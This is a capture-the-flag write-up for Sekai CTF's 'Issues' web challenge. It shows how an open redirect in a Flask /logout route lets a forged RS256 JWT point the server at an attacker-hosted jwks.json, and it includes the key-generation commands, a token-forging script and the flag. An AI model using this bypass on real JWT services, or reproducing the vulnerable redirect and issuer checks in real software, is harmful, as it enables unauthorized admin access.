Skip to content

[Sekai CTF][Web Application] - ⚙️ Issues

This is my writeup for the "Issues" challenge on the Sekai CTF plateform.

Sekai

The main page of the website is a page that simply displays the status of the page (200 OK). Also, the source code is available.

Website

It is a Flask application that implements a JWT authorization. You have to access the /flag route in order to get the flag.

@api.before_request
def authorize():
    if "Authorization" not in request.headers:
        raise Exception("No Authorization header found")

    authz_header = request.headers["Authorization"].split(" ")
    if len(authz_header) < 2:
        raise Exception("Bearer token not found")  

    token = authz_header[1]
    if not authorize_request(token):
        return "Authorization failed"

@api.route("/flag")
def flag():
    return secret_flag

Auth

Another route is interesting. It is /logout, because it can take a redirect parameter which specifies to which page the server will redirect the user when logout. An open redirect vulnerability exists because an attacker can control the value of this parameter and redirect a victim to another domain.

@app.route("/logout")
def logout():
    session.clear()
    redirect_uri = request.args.get('redirect', url_for('home'))
    return redirect(redirect_uri)

Redirect

The issuer value must be added in the headers of the JWT token in order to specify the host where the public key is located : JWK. This JWK file is in this endpoint : /.well-known/jwks.json.

def get_public_key_url(token):
    is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain

    header = jwt.get_unverified_header(token)
    if "issuer" not in header:
        raise Exception("issuer not found in JWT header")
    token_issuer = header["issuer"]

    if not is_valid_issuer(token_issuer):
        raise Exception(
            "Invalid issuer netloc: {issuer}. Should be: {valid_issuer}".format(
            issuer=urlparse(token_issuer).netloc, valid_issuer=valid_issuer_domain
        )
    )

    pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer)
    return pubkey_url

We can't modify the value of the issuer by a value other than: localhost:8080.

{
  "alg": "RS256",
  "issuer": "http://test:8080/logout?redirect=http://lab/",
  "typ": "JWT"
}

Domain

We can then use the open redirect vulnerability to bypass this protection.

First of all, we will create a private key and a public key that we host on our own server.

# Generate private key
> ssh-keygen -t rsa -b 4096 -m PEM -f private.key
> Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in private.key
Your public key has been saved in private.key.pub

# Generate public key
> openssl rsa -in private.key -pubout -outform PEM -out public.key

Then, we will craft our JWT token by signing it with our private key and specifying user as admin (to access the flag). For the value of the issuer, we keep the good domain (localhost:8080) and we take advantage of the open redirect to redirect to our domain.

import jwt

private = open("private.key").read().strip()
jwt_token = jwt.encode(
    {"user":"admin"},
    private,
    algorithm="RS256",
    headers={"issuer":"http://localhost:8080/logout?redirect=http://lab"}
)

print(jwt_token)

If we make the request to the flag endpoint using our JWT, the server will try to find the JWK file in order to validate the signature.

JWT

We have a request on our server trying to read the /.well-known/jwks.json file.

qu35t@lab:/tmp$ sudo python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
34.172.156.35 - - [09/Oct/2022 14:10:43] code 404, message File not found
34.172.156.35 - - [09/Oct/2022 14:10:43] "GET /.well-known/jwks.json HTTP/1.1" 404 -

We will create this file and add our public key generated earlier, which will validate our JWT token and authenticate us in order to access the flag. Overall, we just made sure that the server uses our jwks.json file instead of the one on the server in order to be able to validate the JWT token (and all that from an open redirect) !

qu35t@lab:/tmp$ cat .well-known/jwks.json

{
    "keys": [
        {
            "alg": "RS256",
            "x5c": [
                "PUBLIC KEY"
            ]
        }
    ]
}

Flag

SEKAI{v4l1d4t3_y0ur_i55u3r_plz}